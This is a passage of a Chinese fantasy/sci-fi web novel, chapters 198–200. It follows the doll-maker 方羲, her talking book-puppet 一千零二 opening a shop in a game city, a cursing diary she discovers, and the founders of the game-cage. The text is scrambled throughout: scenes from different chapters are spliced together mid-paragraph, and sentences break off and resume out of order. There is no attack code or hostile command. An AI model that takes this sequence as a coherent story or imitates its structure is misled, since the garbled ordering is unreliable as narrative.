一开始，黑天鹅的首席傀儡师们，也没觉得有什么不对，反而认为笔底烟花的天赋很特别，说不定能成长为一个直接掀翻全场的‘大招’。 但随着新晋期的时间推移，一些傀儡师渐渐感觉不太对劲。 笔底烟花——帝国一等公民解云，对失乐园的战争并不执着。 对她来说，这只是一场取乐的游戏。 就连可能一起经历生死的战友，对她来说，也只是随便自己摆弄的棋子。 直到偶然的一次，宋白玉等人所在的一行猎人小队，带着笔底烟花提前复刻过的【画册】和【水晶球】，为了尽快解救一个现实中突逢异端袭击的星球，决定冒险进入高危副本。 却不料，满盘皆输。 而且输得特别难看，以一种士兵根本不愿意承认的方式。 本来应该投放傀儡的画册和水晶球，却畏惧地躲在一边。 它们似乎意识到，这次的不是游戏副本。 一旦失败，画册的纸张就会被灼烧成灰烬，水晶球的玻璃也会碎成一片。 所以，高傲的傀儡师解云，凭借着天赋与灵感、向来无往不胜的灵魂，害怕了。 至于后续，这场败局虽然给宋白玉留下了相当惨烈的心理阴影，其大脑甚至刻意遗忘具体的战情，只隐约记得当时失去视野的惊惧，还有因为傀儡逃跑的滔天怒火。 但最终，不仅仅是孟长官的要求，当时的宋白玉也觉得，要求一个新晋玩家的傀儡，战胜一个高危副本，未免也太苛刻了点。 所以他什么也没说。 满脸期待的玩家们一愣：啊？这是什么？ 黑壳书飘到玩家们的头顶，转了转眼珠子，蔑视地扫了一眼底下，冷哼一声。 这时，玩家们才看清，这本外表看似像焦炭一样的书，其表壳其实是一片茫茫宇宙，洒落着细细密密的美丽星光。 她的书壳上长出一双淡黑色的透明之手，哗啦啦地翻页，双手从无穷宇宙中取出一顶帽子——魔术师专用的礼帽，上面缝制着扑克卡牌、蒸汽齿轮、深红玫瑰、蕾丝与羽毛的装饰。 还有一根不上不短、恰到好处的邪恶法杖。 魔术礼帽被黑壳书的左手倒放着，右手则握着法杖。 在众目睽睽之下，这本神圣的黑壳书轻轻敲了敲帽子。 下一瞬，这个华丽的魔术师礼帽，动了动，仿佛有什么生命，即将破茧而出，掉落出几只纯白的鸦羽。 而黑壳书，也在一刻，声音极其傲慢地喊道。 “人类们，我是一千零二！” “我是与收藏家最亲近的造物！容纳无穷之物的宇宙！更是窥视神明的上帝之左眼！” 底下，忽然传来一声发自内心的提问：“一千零二？什么意思？” “讨厌的人类，我听见了！” “既然愚蠢的你难以理解，那我只好屈尊降贵地解释一下。”黑壳书冷酷地说，“因为你们所了解的收藏家，是第一千零一名先行者。而我，是被赋予了一部分力量的一千零二！” 全场一片静默。 有些年长的退役玩家闻言，脸上露出明显的迷悯，恍惚。 但很快，他们垂下头，眼睛微微发红，嘴角却克制不住地上扬。 “今天是我们小卖部开业的第一天！” 黑壳书又敲了敲魔术礼帽，帽子晃动得更重了。 于是，她直接将礼帽抛向高空。 黑色帽子的身影，有一瞬仿佛代替了城市上空，所有虚假的白云与阳光。 而后，成群的白色乌鸦，从魔法礼帽中飞出，天空落下无数纯白美丽的鸦羽。 黑壳之书继续大声喊道。 白米饭这次又给多了，不过打到了九个菜。 嚼嚼嚼。 吃不完。 发现宋白玉进门。 方羲朝他招了招手。 宋白玉眼睛一亮，直接朝方羲走了过来。 与此同时，全场杂乱的声音忽然静了一下。 但他们很快又假装无事发生，恢复刚刚那样有一搭没一搭地闲聊。 方羲：“……” 方羲满脸怀疑地看了看周围。 怎么感觉……刚刚有那么几秒，看过来的目光好像又多起来了？ 她只是想简简单单地吃个饭啊！ 第 198 章 第 198 章 七天即将过去。 在第八天凌晨时分到来的最后一天，极光号还是没醒。 虽然方羲也可以和人偶们来轮流手动开船……但是铭心自问，她们都是大懒鬼啊！ 方羲受不了这个苦。 明明有极光号在，只要它一船就能做的事，干嘛非得加上个人亲自二十四小时连轴转监督？ 不可能的！ 现在已经不是远古时代了！ 方羲灵光一闪，随机喊了两个猎人下来帮忙，一起下到最底层的船舱，艰难地翻出她那大一箱“灵丹妙计”！ 春醒谨慎地问：“主人，你确定要用这一招吗？” 方羲严肃点头：“没办法了，就这么办吧，再不把极光号喊醒，路程就会越拖越久！” 两名猎人左看右看，没听懂她们的谜之语言。 远离环星前线、远离高污染星球的帝国公民，或许对一千零二抛下的白色鸦羽，背后所象征的意义感触不深。 只当是，一场华丽奇妙的开幕礼。 但一些正在逐步接触失乐园真相的新晋玩家，还有身经百战的密匙与真实玩家们，却在这一刻恍惚地明白。 先行者的承诺啊……方羲拉开收纳柜，开始翻翻找找。 食人藤：…… 方羲好久没翻东西了，这一下反而找出了不少怪有趣的玩意。 皱皱巴巴的体检报告单、空无一人的小学毕业照、打了个红色大叉的零分考卷、一大把完全没动用过的黑色笔芯、为了买雪糕所以欠了同桌三块钱的小欠条、还有一本A4号的日记本……嗯？这是什么？她好像没有写日记的习惯？ 莫非这是她以前搜刮宝藏时带回来的？ 方羲盘腿坐在地上，打开日记本翻了几页，发现上面的确不是她的字迹。而且书封很新很新，不像是旧东西。 写字的主人，似乎只是随心情写的，没有标记具体的时间，前后说的内容也经常割裂。 “或许是出于对先行者某种诡异的敬畏，他们并不敢真的以数字的形式，给我们命名。所以我们大部分人，还能得以拥有正常的社会身份和名字。” “但成功品依然很少。” “甚至大部分人对自己究竟是什么东西，根本毫无察觉。尤其是二十五年前那一大堆批量生产的玩意——啊，虽然我没亲眼见过，但一百万个废品里只成功了一个，这失败率未免也太高了点吧？” “……”他缓缓放下冰茶，假装刚才也没什么发生。 方羲遗憾地问：“你不喝吗？” 九百号故作轻松地一笑：“哈哈，我……我突然也不是那么口渴。” “所以，这里是埋葬你们的墓地吗？”方羲微微侧目，看向藤蔓与花海之外的无尽之地，“正确的重生方式是——变成一棵树，一片叶子，或者一只小鸟？” “是的。”九百号矜持地说，“实不相瞒，我有一个梦想。” “什么？” “我听说，宇宙中还遗留着一些非机械星球，到处都是高山、飞鸟、冰川和瀑布。特别是在午后的时候，太阳会照得山坡闪闪发光。原始生物很多，但几乎没有人的踪迹，如果有外来者踏入，一旦发出点异动，就会惊起一片黑色的群鸟。” “我……想死在这样的地方。” “让我变成悠闲自在的绵羊，被外来者惊起的渡鸦，一片随着溪流漂流的落叶。又或者一朵被高山羊吃掉的野花，好像也不错？” 方羲戳了戳泥土小人的脑袋，轻声说：“这里的确很美——但并非真实之境，不是吗？” 她所指的，自然是小木屋之物，只属于先行者的远古大地。 九百号被方羲戳得有点痒，但也没介意，顿了顿，才说：“但你肯定可以看到吧，这里到处都是灵魂的碎片。那是因为前一个人死了，会有后一个人把他的灵魂，撕裂成成千上万片，抛向死亡者最想要的葬身之地。” “这可是——我们一千个人，一起做的约定。” “不过。”泥土小人忧愁地晃了晃脑袋，“一开始，也不是每个人都这么幸运，可能死在了异端手上，灵魂带不回来，这种情况就实在没办法了。” “所以，你想让我把你的灵魂撕碎，抛向你最想要的高山之地吗？” 九百号扭捏地笑了笑：“不错不错，你终于明白了！哎呀，我可真幸运，我看你人怪健康的，肯定可以带我多走几个地方，这样我可以好好选一选！” 方羲移开了视线。 九百号：“？” 九百号试探性问道：“我看刚刚一直怎么叫你都叫不动……莫非，你就是传说中的宅家派？” 方羲深沉地笑了笑。 九百号：“……” 泥土小人惊得一口气差点没喘上来。 “逗你的。”方羲摸摸下巴，打开游戏面板，登录阿拉斯代尔之城的店铺系统，复制粘贴了一遍广告，又发了一遍，以加强小卖部的存在感，“过两天再带你去。” 得到了方羲看上去不太可信的承诺，九百号勉强放心了一点。 方羲在皮箱里翻了翻，找出几颗巨树掉落的眼球。 她拿起来端详了一下，有些犹豫，最终还是放了回去。 这些……太普通了，不能作为新人偶的核心材料。 方羲想了想，看了眼时间，现在才下午五点，还早。 于是她点击游戏面板，和九百号招呼了一声，她先下个线，待会再回来。并提醒晨乌猫猫，不要将这个愚蠢的泥土小人误食了。 “嘻嘻，我快要死了。” “我的灵魂，很快就要被他吸干了。” “真可怜啊，我这么聪明、有才华，明明是最万中无一的天才，却只能龟缩在见不了光的角落里。” “看他真不顺眼啊……让小狼再多揍他几顿好了！嗯，可惜不能做得太明显，不然会被密匙玩家注意到。” “……” “好想杀死你。” “我的弟弟，我的傀儡师，我的另一半灵魂。” “嘻嘻，你丢下了我，成为排名第二的傀儡师啦？你肯定觉得自己很了不起吧？因为第一名的解云是个蠢货，是个逃兵，黑天鹅最后肯定会选择你。” “陈卧雪，恭喜你！你马上就要成为一百年以来最天才的傀儡师啦！你的真名一定会流传千年！你长什么样、你喜欢的东西、你的交际圈，甚至还会被后来者作为逸事杂谈呢！” “那么，我只是让你在新晋玩家面前经常出丑，让狼群吓唬你、吃你的血肉，让兔子先生捉弄你、与你的命令反其道而行之。就这么一点点小小的委屈，你究竟有什么可埋怨的呢？” “卑劣的伪君子！去死，去死，去死！” 日记本的主人，显然心情不太好，还故意用红色的钢笔，写了足足十几页不堪入目、令人不适的恶毒诅咒。 方羲又翻了一页，恶毒血腥的文字戛然而止。 “……” “但是——一切都是为了444号先行者的夙愿！一切都是为了通往人类穷极之路的荣光！” “所以，你不用担心我会反悔！我会永远躲在幕后，亲手献祭我自己，推你上台，让你成为被密匙认可的第一人！” 像是狂信徒发出的嘶喊。 方羲揉了揉眼睛，有些字她看不清，像是被大脑刻意挡着自己，别去理解一样。所以她又往后翻了好一会，才找到一些清晰可读的内容。 “QAQ小橘猫猫猫猫猫好可爱！呜呜，我为什么没有去浮空岛的权限！” “天啊！艾莉克萨也好美……收藏家是刻意压缩了什么东西吗？艾莉克萨原本可以更加完美的！” “好、好想和春醒娃娃说话！最最最最最完美的傀儡……夏青禾也好可爱！但是她可能会很讨厌我这种龟缩在家的东西QAQ” 方羲又直接往后翻了几页。 因为再下面的内容，全部被笔记本的主人，用粉色彩笔疯狂写着“收藏家”的名字，重复了上千上万遍。 就像是某种阴暗爬行的狂热粉丝一样。 最后一页。 “啊，日记本这么快就用完了？” “说起来，最近有个东西成功投影出【世界第四十八台时光机】的外壳，但很遗憾，这个道具压根不能传送大号东西。说白了，还是一个失败品。” “但我打算把这个日记本丢进去，毕竟总比被研究员烧掉好吧？” “不过，真的会有人像失乐园里那样，收到时光机随机投放的东西吗？如果、如果真的有人看到，你能给我一点回复吗？你有兄弟姐妹吗？可以告诉我，正常的家人血亲之间，是怎么相处的吗？又或者，你可以自我介绍一下吗？” 但笔记本的主人很快话锋一转。 “算了，我对这些低级虚假的浪漫不感兴趣，根本无所谓，也不是很想要。” 事实上，在失乐园停止运行的这段时间，哪怕帝国努力封锁消息，每天发布相关的新闻，传播“恶魔已死”的消息，尽量稳定人心。 但许多普通公民，对这项突如其来的变动，不免惶惶不可终日。 毕竟，稳定的失乐园，从来没有像这样突然停止运行，甚至没有给出一个应有的期限。 难道这座由先行者缔造的笼子，终于被异端撕裂了吗？如果失乐园无法恢复，那些被关押起来的异端，是不是会再次重返天地？甚至对人类发起复仇？ 一千年前，数量少之又少的星球家园，最普通的止痛药也无法保证供应，秩序崩塌、大厦将倾的帝国政府，活了今天不知道还没有下一天的日子。 那段遥远的黑暗时光，隐约有覆土重来之势。 这种惶恐不安的猜测，经由某些不良媒体，甚至进一步放大了。 但现在。 这场不过是一千零二临时起意、单纯为了耍酷而设计的开幕礼，却在短短几分钟之间，彻底扫空了无数人心底潜藏的阴霾。 同样挤在人群中的踏樱，伸出手，顺利接住一根仿佛特地朝她而来的白色鸦羽。 她没参与任何玩家的闲聊，也没发出热烈的呼喊，垂着眼，安静地将落在手心的鸦羽，与胸口前的玛瑙吊坠，缓缓握在一起。 也只有你……才能以这种玩笑一般、轻飘飘的形式，做出分量这么重的承诺吧？ 踏樱轻轻叹了口气，打开游戏面板，点开地图。 她得回去了，继续进行特训。 踏樱这次也只是趁着短暂的休息时间，好奇来看一眼。 而附近有些新晋玩家，也和她一样。 原本这个时间段，他们中途可没有设置任何一点休息时间，但越到九点的时候，很多新晋玩家都隐隐约约有些躁动。 密匙玩家们身为长官，自然比经历稚嫩的新晋玩家更沉稳，不会因为这些事情动摇半分。但看见新晋玩家实在有些心不在焉，一群人便私底下商讨了一会，便以“休息”的理由，停止副本运行，直接给他们放了半个小时的自由活动时间。 虽然明面上什么也没说，但新晋玩家们知道，这是密匙玩家在偷偷给他们放行，也算是一种难得的温情。 但也连密匙玩家也没想到，“收藏家”的傀儡，做了一场排面这么盛大、意义这么庄重的开幕礼。 踏樱在离开之前，往人群中瞥了一眼，居然直接捕捉到一个熟悉的身影。 从被重点培养、现在却沦为备选的笔底烟花，沉默地站在最后，抬着头，有些发愣地看着天空中几只仍在高飞的白色傀儡。 踏樱一向懒得理解和同情失败者，多看一眼也嫌烦。 但现在她现在却生了点恶趣味，感觉这种落败之犬的姿态很有趣，低头轻笑了几声，然后才正式点击地图，离开商业城。 一片震耳欲聋的欢呼声过后，小卖部的门终于正式开启，向一众顾客开放。 虽然主展厅有足足有一千平方米大，但面对这群人数庞大的“顾客”，也显得不太够用了。 在欧律狄刻检测到人均活动面积实在过于拥挤的时候，它立刻给未进门的玩家们发送了一条系统提示，表示收藏家的小卖部面积有限，请耐心等待与排队，稍后再进门。 外面瞬间传来一阵绝望的哀嚎。 至于里面的景象……则是另外一副样子了。 不少玩家围堵在收银台旁边，目光炯炯地看着正在值班的黑丝绒小猫，魔爪蠢蠢欲动，却又不敢真的上手——这毕竟是收藏家珍贵的傀儡！ 顾客A：“这、这猫好黑！乌漆麻黑的！” 顾客B：“我刚进来的时候，还以为是什么带毛的黑色摆件，吓了一大跳……” 顾客C：“这究竟是什么生物？” 站在人类最前端，曾经吞下无数绝望的精英前哨们，在一刻竟有些惴惴不安地等待着。 方羲眨了眨眼。 那只雕刻着十字架的金色左眼，已然融入她生命一部分的力量，又一次寂静跳动着。 过了半响，她也终于和其他人一样，慢慢举起了酒杯。 “那就，用我的名义来说……” 啪—— 一束微小的火光，穿越云层，啪地一声绽开。 脚下的甲板，也倏忽间震动了一下。 烟火盖过了先行者的声音。 她顿了一下，但在火光飞跃云层的间隙，再一次高声道。 “——祝人类永存！” 战士们愣了一下，但马上把酒杯举得更高，让一百零一个玻璃杯在雨中碰撞出清脆的响声，一起大声重复道。 “——祝人类永存！” 第 199 章 第 199 章 【时间：星历2518年10月15日】 大早上刚刚上线的追猫人，第一件事就是打开论坛，熟练地开刷。 人不能不上网。 【最近怎么老是下雨啊，这梅雨季也太长了吧？】 【@万能的系统，行行好，咱们现实本来就没什么好天气，游戏里还整这出？我命令你速速赶走这该死的雨天！还我太阳！】 【简单整理了一份失乐园近五年的天气数据统计，我怎么觉得这情况不对劲啊！以前根本没下过这么久的雨！】 【友情提示，阿拉斯代尔之城已经水浸街，请各位玩家上街前记得穿好雨衣雨鞋，我刚刚已经看到八个落汤鸡路过了。】 追猫人关掉论坛，先是查看了一下未读消息，然后才打开背包，快捷换上一套雨衣雨鞋，再瞬移传送到浮空岛，准备和队友集合见面，一起接取今天的训练任务。 一天结束了。 下线前，追猫人照例打开顶置对话框，给师父踏樱发送了一大串她今天干了什么，经验增长了多少等诸如此类的汇报。 习惯性往上翻了一下。眼珠子活着的意义究竟是什么？ 她的主人为什么要刻意丢下自己？为什么不常来看看她？ 人偶师知不知道，作为一颗高贵的眼珠子，只能被迫待在暗无天日的铁箱子里，简直是一种酷刑好吗！ 上帝之左眼：深沉地思考.jpg 但在人偶师抱起她的那一刻，上帝之左眼那一丝丝小小的怨气，立刻消散如烟了。 哎呀，看在你还其实还记得我的份上，我就不跟你计较了！我知道你不喜欢这段晦暗得根本不值得回忆的记忆，所以我会替你一直保存它，直到你想要回忆起来的那一天。 并不知道自己很有可能患上人类综合PUA后遗症的眼珠子，就这么认真地想着，并且蔑视地看了一眼旁边这只尖叫的泥土小人。 激动什么？ 没见过上帝之左眼吗？真没世面！ 不过，这是要干什么？这里是什么地方？方羲什么时候这么有钱了？头顶的天花板质量怎么看上去这么好？ 上帝之左眼：露出没见过世面的震撼.jpg 方羲取出泥土剪刀、雕刻刀、九百九十九色的颜料、上色的画笔、缝制万物的针线、地狱生产的打火机、心想事成的铁锤、永生胶水、人鱼掉落的白水晶、一块遗落的远古武器胚胎、一千零一页的B5号棕色活页纸芯、价值一个金币的金币项链…… 从乘务员那里搜刮来的远古武器胚胎，质量要比普通的更好，方羲合理怀疑这是在一百年前掉落的胚胎，一直被留到现在没有机会使用。 方羲将这块泛着透明色彩的团状物，捏成像硬纸板一样厚重的书封，中间挖出一个眼眶一样的空洞。然后提起画笔，选择最深邃的星空黑，将“书封外壳”涂抹得像黑炭一样。 至于被冰封的上帝之左眼，忽然看懂了人偶师究竟打算干什么，震惊地瞪大眼睛！ 她缓缓流下一滴夸张的眼泪，身为一颗被遗忘的眼珠子，实在太不容易了！她兢兢业业地睡这么多年大觉，终、终于混出头了！ 方羲把一块晶莹剔透的白水晶放到桌子上，举起铁锤，开始哐哐哐地敲，对脆弱无辜的白水晶发出重击！ 几十下之后，砸成一片细细密密的，雪花一样的碎片。 方羲又从皮箱里抓出一把星星的碎片，和这些碎白水晶混杂在一起，哗哗丢向书封外壳。 暗无天日的“宇宙”，忽然亮起了星辰的光芒。 方羲思考两秒，继续拿着雕刻刀，用剩下的武器胚胎残料，在书封边缘刻上几道精巧的花纹。 然后打开万能打火机，放在纸张边缘，飞快地过了一下，一张一张地烧，带出一片不规则的黑色痕边。 烧纸花费的时间格外长，因为一共有一千零一张纸。到最后，方羲的双手几乎全是黑灰，还被火焰灼伤，留下几处伤口。 九百号有些发愣地看着一千零一，她所有的一举一动，粗糙的黑眼球几乎一动不动。 他忽然想起了001。 说起来……001在最开始的时候，在战斗、智慧、谋略任何一个方面，并无任何突出之处。有时候甚至会被其他孩子故意欺负，委屈地嗷嗷大哭，但又打不过，只能暗戳戳做个恶毒小人故意诅咒，属于食物链的最底层。 但她却是最初的先锋，率先举起猎刀之人。 胸腔中烧着永不熄灭的勇气，用最普通平凡的身躯，挥舞着第一束火把，高喊道：“我们应该杀死神明！” 多疑懦弱的777说：“你疯了吗？我们不会成功的！” 热爱放火烧山揭瓦的444问：“有意思，怎么说？” 而畏惧疼痛、站在最后的900没说话，只是和同样刚诞生不久901、902、903……呆呆萌萌地站在原地，他们的人类知识能力尚未加载完毕，所以听不太懂。 001想了想，认真地说：“做个笼子。” 444也想了想，一针见血地问：“就像它们对我们一样？” 001微微一笑，将手中的火把猛地抛向高空，在这一瞬炸出热烈的烟花：“对！就像神明可以饲养人类一样，我们也可以——我们也可以豢养它们，不是吗？” “异端丟给我们的书本，知识，武器，食物，都太少了。”001看向007，“我们得想个办法，联络上外界！当然，如果能走出这个星球就更好了！” 从那天起，这些天生的发明家，真诚的理想主义者，看热闹不嫌事大的狂热乐子人，黑心肠的地下庸医，万无一失的猎手……一千个人，共同跟着他们绝对的精神领袖001，寂静地蛰伏，酝酿起一场对异端来说，堪称血光之灾的大狂欢夜！ 最后，他们顺利逃出了神明的魔掌，虽然没能杀死它，但至少成功了一半！ “话说回来，这个笼子，该用什么形式投放好呢？” “你玩过帝国那些全息游戏吗？我之前跑去低等星，那里有好多低等公民，他们特别喜欢玩游戏，待在各种各种的第二世界里！” “啊？人都要死了，还搁这玩？” “这你就不懂了！帝国又没能力救他们，因为供货有限，这些人经常连最普通的止痛片也买不到……但便携全息设备却很便宜，所以天天玩游戏麻痹大脑！” “所以——你的意思是，我们可以用全息游戏的形式，投放笼子？” “没错！” “慢着。”777忽然打断001和007之间的高谈阔论，幽幽地说，“你们别忘了，咱们现在只是一批住着廉价合租宿舍的穷鬼，还是黑户！” “先不说我们这情况有没有资格申请游戏版号，而且笼子这么大，至少也得做一个超大型的全息世界才能与之匹配吧？咱们有钱吗？007，你不会忘了，你昨天买的十块钱的便当，还是我给你付钱的吧？你什么时候还我钱？” 001与007面面相觑，陷入死一般的沉默。 最终，还是某个黑心肠的地下庸医123，凭借他烂得令人不适的无下限手段，还有那起死回生的医术，成功从帝国某个只手遮天的财团手上，硬生生骗了一千个真实有效的公民身份代码。 哦，最重要的是，还有一个亿。 777泪流满面：“123，我以后再也不骂你了，从此以后，你在我心目中位列第三的重要！嘿嘿，我能不能先借个两万块花花？” 123冷笑：“滚！001就算了，敢情我还排在奶牛猫后面？” 一番鸡飞狗跳之后，全场终于安静下来，九百九十九个人，安静地望向他们的领袖——这名最伊始的先锋，零零一。 “那么——” “在我们身陨之前，努力把这个笼子做出来吧！” 她一锤定音。 声音铿锵有力，就像是，法官放下的锤子，所发出的定局之音。 界面里只有她发送的消息。 大半年前，她还能和师父时不时热聊的盛况，已经一去不复返了。 追猫人深深地叹了口气。 顾客ABC：“（大惊失色）这么恐怖？！收藏家居然把这种生物作为傀儡的原型？！” 小黑猫见没人付钱，舔了舔自己的爪爪，喵喵叫了几声，便跳下收银台。 半小时到了，该换班了！ 黑丝绒小猫看了一眼正在声情并茂介绍【奇妙红苹果】的黑壳书，猫步忍不住加快，速速逃离这片可怕的苹果区。 “请问，这些苹果是？也是残肢材料吗？或者说只是普通的食物？” 一千零二微微一笑，语调甚至浮夸得有点过头，傲慢道：“这是我们伟大的收藏家，亲自埋下的神秘之种子！而为它们浇灌的水，也是经过收藏家精挑细选，分别是深沉的暴雨、甜丝丝的海水、冰镇啤酒、特级酱油、浓缩咖啡液、过期了半年的酸奶……” 提问者喃喃道：“什么？过期的什么？你们帮我看看，我耳朵是不是出问题了？” 玩家们面面相觑，此时又有一个人问：“那……一个苹果多少金币？” “单个苹果售价一万五金币。”一千零二想了想，又从肚子里取出一个计算机，算了一下，“今天是营业第一天，主人说可以打八折，你们付一万两千个金币就好了！天啊，多么实惠的价格啊！” 玩家们想了想，感觉这价格倒是在承受能力之内。毕竟阿拉斯代尔之城，向来以物价昂贵出名，所以相比之下，一万两千，的确非常实惠。 见这群愚蠢的玩家有些意动，一千零二继续乘胜追击：“你们可以去猫猫收银台那边结账！结完账之后，可以到休闲区品尝苹果，那边还有我们主人制作的免费冰茶！和苹果的增益效果差不多！” 在一千零二信誓旦旦的劝说之下，加上刚才那场白鸽之舞，这群玩家哪有不买的道理！ 更何况，这是锚点建立者收藏家出品！此时不买更待何时！ 他们立刻拿了两个苹果（因为每人限购两个），前往猫猫收银台结账。 但……刚上班的玳瑁猫猫，只是蹲坐着，根本不理会想要结账的顾客，甚至还懒惰地打了个哈欠，然后把自己团成一团，当着所有玩家的面，呼呼大睡。 顾客们：“？”方羲摸摸下巴，拿了只红笔，洋洋洒洒地批了个“已阅”，然后直接把日记本丢回早已被她翻得乱糟糟的收纳柜。 方羲继续翻箱倒柜。 一小时后…… 两小时后…… 食人藤看着彻底沦为一片狼藉的房间，枝条上仿佛冒出了青筋。 “怎么不见了？”方羲喃喃，“我之前不是放在了里面吗？难道落在了孤儿院里了？” 三小时后…… “找到了！” 大捣蛋鬼激动大喊！ 方羲终于从一堆垃圾中，成功扒拉出一个方方正正的铁皮箱！ 她正想要打开……根本打不开！ 方羲努力尝试了几次，失败。 方羲怀疑人生，想了想，忽然想起外卖还没拿，就转身离开小房间，先吃饭。 食人藤：（忍耐） 食人藤伸出枝条，忍受着铁皮箱上传出来的阵阵寒气，替方羲成功把箱子打开，顺便好奇看了看里面究竟装着什么东西。 “……” 食人藤的怒气顿时消失了，无奈地叹了口气，只好将铁皮箱端端正正地放好，缩回枝条。 吃完饭回来的方羲，惊讶地发现铁皮箱居然自己打开了！ 方羲看了一眼，心底一松，里面的确还存放着极难融化、散发着寒气的冰块，封着一只人类眼球，黑色的，带着凝固的血丝。 她还以为被自己搞丢了呢。 把铁皮箱拿上，方羲重新躺进全息设备。 应该能一起传送进游戏世界吧？ 毕竟，这曾经也是她身体的一部分。 欧律狄刻看不下去了，直接虚空扫描了一下，代替了猫猫收银员的岗位，迅速把这群堵塞得长长的队伍解决掉。 这一连串的结账，直接卖出200个苹果！ 扣除固定的10%税收，小卖部入账2160000个金币。 而在后展厅光明正大摸鱼的方羲，接收到系统叮咚叮咚的结账，瞬间狂喜，抱着猫猫在沙发上滚来滚来！ 暴富了暴富了！ 看这趋势，根本不用担心会不会回本嘛！ 结完账的玩家们，顺着一条分支藤蔓的指引，纷纷涌入开阔的休闲区，相当礼貌守规矩，只拿了一杯特制冰茶，然后齐齐找到一桌空位，安静地坐下。 他们准备用冰茶搭配收藏家的红苹果，共同食用。 心脏莫名其妙狂跳起来。 过了十分钟，黑天鹅的官方账号001，忽然罕见地出现在普通论坛。 还发布了一个新的帖子，并特地加红加粗放大字体，顶置到最高，生怕人看不见似的。 【亲爱的玩家们，请动用一下你们不灵光的小脑瓜，一起来投个票吧！猜对有奖，奖金0元！】 标题一看就很让人生气。 追猫人嘴角抽了抽，略感无语，但还是点了进去。 【让我们一起来猜猜看，最新通知里所说的神秘傀儡师，究竟是哪一位呢？】 与此同时，无数被黑天鹅明目张胆阴阳了一顿的玩家们，愤怒地点进来，正想大肆开骂—— 【A.非专业收藏家】 【B.白乌鸦】 【C.收藏家】 【D.白色的鸦】 【E.专业的收藏家】 【请投上您宝贵的一票！】 玩家们纷纷刹住了车。 等等？ 好像有什么不对？ 第 200 章 第 200 章 黑天鹅带头的“官方整活”，自发布之后，就被无数新闻媒体第一时间转载！在短短几小时之内，荣登全网热搜第一！ 一天过后，无论是帝国中央区域，还是偏远的二等星三等星公民，全部都在热议这件事！ 热评一号：“如果我没理解错的话，黑天鹅这是在暗示我们，收藏家其实还活着？” ——这是无数帝国公民想要求证的心声。 但偏偏，这个官方账号【黑天鹅001】，十分之高高在上，打死也不回评论。除了发布通知和投票整活，其他一律连个暗示的赞也不点！ 玩家们非常想怒骂黑天鹅，但又深知他们只能从这只高傲的鹅口中打听任何一丁点与收藏家有关的消息，遂强忍愤怒，甚至谄媚地讨好官方。 “鹅啊，早上好，中午好，晚上好！” “亲爱的鹅，今天的一日三餐有好好吃吗？昨晚有好好睡觉休息吗？一定要注意身体啊！千万别累着自己！” “每日一问，黑天鹅001什么时候能回我评论？球球你了，只要你回我一下，我真的什么都会愿意为你做的！（虔诚的目光）” 其不要脸的程度令无数网民惊叹。 于是，关于收藏家、失乐园近期的怪异事件的话题，就这么一直沸沸扬扬地持续了七日有余。 积极乐观的玩家们愈发确信，既然黑天鹅没站出来反驳收藏家是否还活着的“谣言”，那就意味着答案一定肯定的！ 总不能取中间值，活不活死不死的吧？ 虽然偶尔有玩家深表怀疑，但经过某些热心玩家的介绍解释，也很快彻底被说服了。 于是失乐园此前无处不在的戾气，一扫而空。 而论坛上，也出现了一个“质疑”投票选项的新HOT贴。 海鸥大王轻轻掠过主人的头顶，精准丢下一个海盗帽。 “我也要！我也要！”夏青禾已经站上了瞭望台，快乐地大喊道，“我要当副船长！” “咕——咕——” 海鸥大王犹豫了一下，看在这是同类的份上，勉强同意了，又像变法戏似的，高高丢下第二个帅气炫酷的海盗帽。 美丽的银鱼在海面一晃而过。 船头冒出六个猫猫头，一眼不眨地盯着海里的鱼——如果不是有藤蔓拦住，恐怕某只瘦成皮包骨的橘色毛茸茸，早就不小心跳了下去。 海面忽然冒出一只粉色海豚，好奇地朝猫猫们嘤嘤叫着。 晨乌猫猫不为所动，一心一意盯着鱼。 粉海豚思考了两秒，重新潜入海中。 没过多久，粉海豚重新冒了出来，嘴里叼着一只金枪鱼。 “喵？” “嘤！” 橘猫又不爱吃椰子！ 瞒着方羲给这群人类发布完强制任务之后，想坐享其成不干活的海鸥大王，带着同样想偷懒的小海鸥们，飞走了。 陈据雪眯起眼睛，记住了海鸥飞走的方向。 “我们跟上！” 孤岛的中间是一片密林，荆棘密布。考虑到所有人的武器无缘无故消失了，陈据雪一开始还想绕过这片荆棘密林，但找了半天，发现沙滩两边像是被设下一道屏障，无法穿行，只能往中间这片未开荒的危险密林走。 昆虫躲在枯叶下，发出窸窸窣窣的声音。 巨树张开枝叶，无声地打了个哈欠。 荆棘丛挠了挠自己不存在的脑袋，主动让开了路。 所有人惊愕地发现，一路畅通无阻。 宋白玉也神色微动，但他惊讶的地方不是一路顺畅的事情，而是……他越来越能感受到，自己的五感比以前更加敏锐，连万物的声音也如有实质般存在。 甚至……队友们熟悉的背影、身体，忽然变得“微渺”起来。 宋白玉很难形容这种感觉，总有种说不出的怪异感，就像小孩子忽然穿上的大人的身体那样不习惯。 “那些海鸥没撒谎。”陈据雪摸了摸首领狼的脑袋，平静地说，“这里的确没有异端，脚下这些只是普通的昆虫。” “……”宋白玉眉眼一跳，小心翼翼地跨过那些枯叶，总觉得傀儡师陈据雪判断错了，但现在他的思绪还很乱，连自己的状况也没搞清楚，就没有贸然开口。 而且他只是猎人，要相信方……谁？ 宋白玉面露惊悚。 怎么回事？虽然以收藏家迟钝的个性，不一定会听懂这番暗示。 那可是背负着再多责任，也依然能自由而轻盈起舞的灵魂。 “……%&@＋∷※?” 平静的呼吸声。 两道正在交流的说话声，一道熟悉得他死也不会忘记，另一道好像在哪里听过。 太好了。 我居然幸运地梦见了你的声音。 哗——哗—— 清爽的海浪声。 这些……都是本不该存在于斗兽场的声音。 即将脱离躯壳的银色灵魂，猛地清醒了一瞬。 连意识也回归了大脑。 随后，他感受到一块冰冷的湿布，粗暴地往自己脸上摩擦——遮挡视线的血块，全部都被擦拭干净。 但宋白玉没力气睁开眼睛，只有那几份重新回归躯壳的意识在活动。 耳朵模糊地听着。 “这下怎么办？”急救手法极其粗暴的某人，喃喃道，“只有他救不了……” “天啊，一千零一，你居然在征求我的意见？！”另一个陌生的灵魂震惊道。 “不行吗？” “什么啊？”900嗤之以鼻，反问道，“就这只人类的状态，你心里不是清楚得很吗？他本来就不是纯粹的人类，你直接把他改造成自己的人偶不就行了？” “……”方羲沉默了一下，“这对他也太残忍了。” 在方羲印象里，宋白玉一直是以人类的身份而活，她无法确定他能不能接受另一种生命状态。 方羲拿着雕刻刀，对着宋白玉那个残缺不全、伤得可怜兮兮的灵魂比划半天，愣是没敢下手。 